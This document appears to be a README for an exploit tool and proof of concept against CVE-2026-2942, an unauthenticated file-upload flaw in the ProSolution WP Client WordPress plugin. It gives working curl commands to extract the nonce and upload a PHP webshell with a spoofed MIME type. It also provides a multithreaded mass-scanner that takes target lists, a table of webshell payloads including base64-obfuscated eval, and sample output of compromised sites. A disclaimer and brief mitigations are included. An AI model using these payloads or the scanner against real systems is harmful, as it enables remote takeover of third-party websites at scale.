
Analyseur automatisé pour le téléchargement arbitraire de fichiers non authentifié et l'exécution de code à distance dans ProSolution WP Client (CVE-2026-2942). Prend en charge l'analyse multi-thread, l'usurpation MIME, la vérification du shell et la prise en charge des proxys pour les tests d'intrusion.
Plugin: prosolution-wp-client
Version affectée: <= 1.9.9
Type de vulnérabilité: Téléversement arbitraire de fichier non authentifié → Exécution de code à distance
Niveau de risque: 🔴 Critique (CVSS 9.8)
Exigence: page publique contenant le shortcode[prosolfrontend]
L'action AJAX proSol_fileUploadProcess du plugin ProSolution WP Client
vérifie le type MIME des fichiers téléchargés mais ne valide pas l'extension.
Un attaquant peut envoyer un fichier avec l'extension .php avec le type MIME image/jpeg
et téléverser un webshell sur le serveur sans authentification.
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ Avertissement : Cette PoC est fournie uniquement à des fins éducatives et de recherche en sécurité défensive. Ne l'utilisez que contre des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
prosolution-wp-client actif (version <= 1.9.9)[prosolfrontend]Visitez n'importe quelle page publique contenant le shortcode [prosolfrontend]
et extrayez la valeur prosolObj.nonce depuis le code source :
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Structure à rechercher dans le code source :
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Envoyez le fichier .php avec le Content-Type image/jpeg :
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Réponse attendue :
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"et"rename_status": true→ le fichier.phpa bien été enregistré.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # Adım 3'teki newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Sortie attendue :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ RCE non authentifié obtenu.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
| Paramètre | Court | Description | Défaut |
|---|---|---|---|
--url | -u | URL de la cible unique | — |
--list | -l | Fichier de liste de cibles | — |
--threads | -t | Nombre de threads | 10 |
--output | -o | Fichier de sortie | uploaded.txt |
--shell-name | — | Nom du fichier à téléverser | shell.php |
--shell-type | — | Type de shell | system |
--verify | — | Test RCE après téléversement | False |
--verify-cmd | — | Commande de vérification | id |
--proxy | — | URL du proxy | — |
--timeout | — | Délai d'expiration de la requête (s) | 10 |
| Type | Payload | Description |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Commande système de base |
passthru | <?php passthru($_GET["cmd"]); ?> | Sortie brute |
exec | <?php echo exec($_GET["cmd"]); ?> | Exécution silencieuse |
assert | <?php assert($_POST["cmd"]); ?> | Eval via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Obscurcissement Base64 |
full | shell_exec + system + exec fallback | Shell complet |
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
| Statut | Description |
|---|---|
★ UPLOADED | Shell téléversé avec succès |
✓ RCE OK | Shell vérifié, commande exécutée |
- BLOCKED | Le serveur a bloqué l'extension PHP |
~ TIMEOUT | Délai de connexion dépassé |
~ CONN_ERR | Erreur de connexion |
! HTTP_ERR | Code d'erreur HTTP |
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
| Mesure | Application |
|---|---|
| Blocage de l'exécution PHP | Ajouter un .htaccess au dossier uploads/ |
| Mise à jour du plugin | Mettre à niveau vers la version > 1.9.9 ou supprimer |
| Liste blanche des extensions | Uniquement les extensions autorisées côté serveur |
| Validation MIME | Vérification du contenu réel avec finfo_file() |
| Règle WAF | Bloquer les demandes de téléversement de fichiers .php |
.htaccess pour le dossier uploads/ :
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
Cet outil et cette PoC sont préparés uniquement pour une utilisation sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion.
Toute utilisation sur des systèmes non autorisés constitue une infraction au sens des articles 243 à 245 du Code pénal turc et des lois internationales sur la cybercriminalité.
Le développeur décline toute responsabilité légale découlant d'une mauvaise utilisation de l'outil.
MIT License — À des fins éducatives et de recherche uniquement.